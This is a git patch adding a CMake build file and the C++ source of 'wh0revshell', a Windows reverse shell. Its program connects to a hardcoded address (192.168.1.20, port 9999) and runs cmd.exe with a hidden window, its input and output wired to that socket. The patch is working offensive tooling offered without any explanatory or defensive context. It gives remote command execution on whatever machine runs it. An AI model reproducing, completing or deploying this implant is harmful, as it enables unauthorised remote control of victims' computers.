From 0a9a2e6a356d3559c00558f3432dec5a273c5bc4 Mon Sep 17 00:00:00 2001 From: wh0crypt Date: Thu, 25 Jun 2026 17:24:05 +0100 Subject: [PATCH] feat: add first working revshell --- CMakeLists.txt | 15 +++++++ src/wh0revshell.cpp | 103 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 118 insertions(+) create mode 100644 CMakeLists.txt create mode 100644 src/wh0revshell.cpp diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..2076b60 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,15 @@ +cmake_minimum_required(VERSION 3.15) +project(wh0revshell CXX) + +set(CMAKE_CXX_STANDARD 20) +set(CMAKE_CXX_STANDARD_REQUIRED ON) + +add_executable(wh0revshell "src/wh0revshell.cpp") + +# Explicitly link Windows socket library +target_link_libraries(wh0revshell PRIVATE ws2_32) + +# Force Static Linking +if(MSVC) + set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$:Debug>") +endif() diff --git a/src/wh0revshell.cpp b/src/wh0revshell.cpp new file mode 100644 index 0000000..c3e78de --- /dev/null +++ b/src/wh0revshell.cpp @@ -0,0 +1,103 @@ +#define WIN32_LEAN_AND_MEAN + +#include +#include +#include +#include +#include +#include + +constexpr std::wstring_view CLIENT_IP = L"192.168.1.20"; +constexpr int CLIENT_PORT = 9999; + +int main() +{ + WSADATA wsaData; + bool wsaStarted = false; + SOCKET socketFd = INVALID_SOCKET; + HANDLE processHandle = nullptr; + HANDLE threadHandle = nullptr; + int exitCode = EXIT_FAILURE; + + try + { + if (WSAStartup(0x0202, &wsaData) != 0) + { + std::wcerr << L"[!] WSAStartup failed.\n"; + goto CLEANUP; + } + wsaStarted = true; + + socketFd = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, nullptr, 0, 0); + if (socketFd == INVALID_SOCKET) + { + std::wcerr << L"[!] Failed to create socket: " << WSAGetLastError() << L"\n"; + goto CLEANUP; + } + + struct sockaddr_in sa{.sin_family = AF_INET, .sin_port = htons(CLIENT_PORT)}; + int result = InetPtonW(AF_INET, CLIENT_IP.data(), &sa.sin_addr); + if (result == 0) + { + std::wcerr << L"[!] IP is invalid or has bad format.\n"; + goto CLEANUP; + } + else if (result == -1) + { + std::wcerr << L"[!] InetPtonW failed: " << WSAGetLastError() << L"\n"; + goto CLEANUP; + } + + if (connect(socketFd, reinterpret_cast(&sa), sizeof(sa)) != 0) + { + std::wcerr << L"[!] Connect failed.\n"; + goto CLEANUP; + } + + STARTUPINFOW startupInfo{}; + PROCESS_INFORMATION processInfo{}; + + startupInfo.cb = sizeof(startupInfo); + startupInfo.dwFlags = STARTF_USESTDHANDLES; + startupInfo.hStdInput = reinterpret_cast(socketFd); + startupInfo.hStdOutput = reinterpret_cast(socketFd); + startupInfo.hStdError = reinterpret_cast(socketFd); + + wchar_t cmd[] = L"cmd.exe"; + bool success = CreateProcessW( + nullptr, + cmd, + nullptr, + nullptr, + TRUE, + CREATE_NO_WINDOW, + nullptr, + nullptr, + &startupInfo, + &processInfo + ); + + if (!success) + { + std::wcerr << L"Failed to execute process.\n"; + goto CLEANUP; + } + + processHandle = processInfo.hProcess; + threadHandle = processInfo.hThread; + exitCode = EXIT_SUCCESS; + } + catch (const std::runtime_error &e) + { + std::cerr << e.what() << std::endl; + exitCode = EXIT_FAILURE; + } + +CLEANUP: + if (processHandle != nullptr) CloseHandle(processHandle); + if (threadHandle != nullptr) CloseHandle(threadHandle); + if (socketFd != INVALID_SOCKET) closesocket(socketFd); + if (wsaStarted) WSACleanup(); + + return exitCode; +}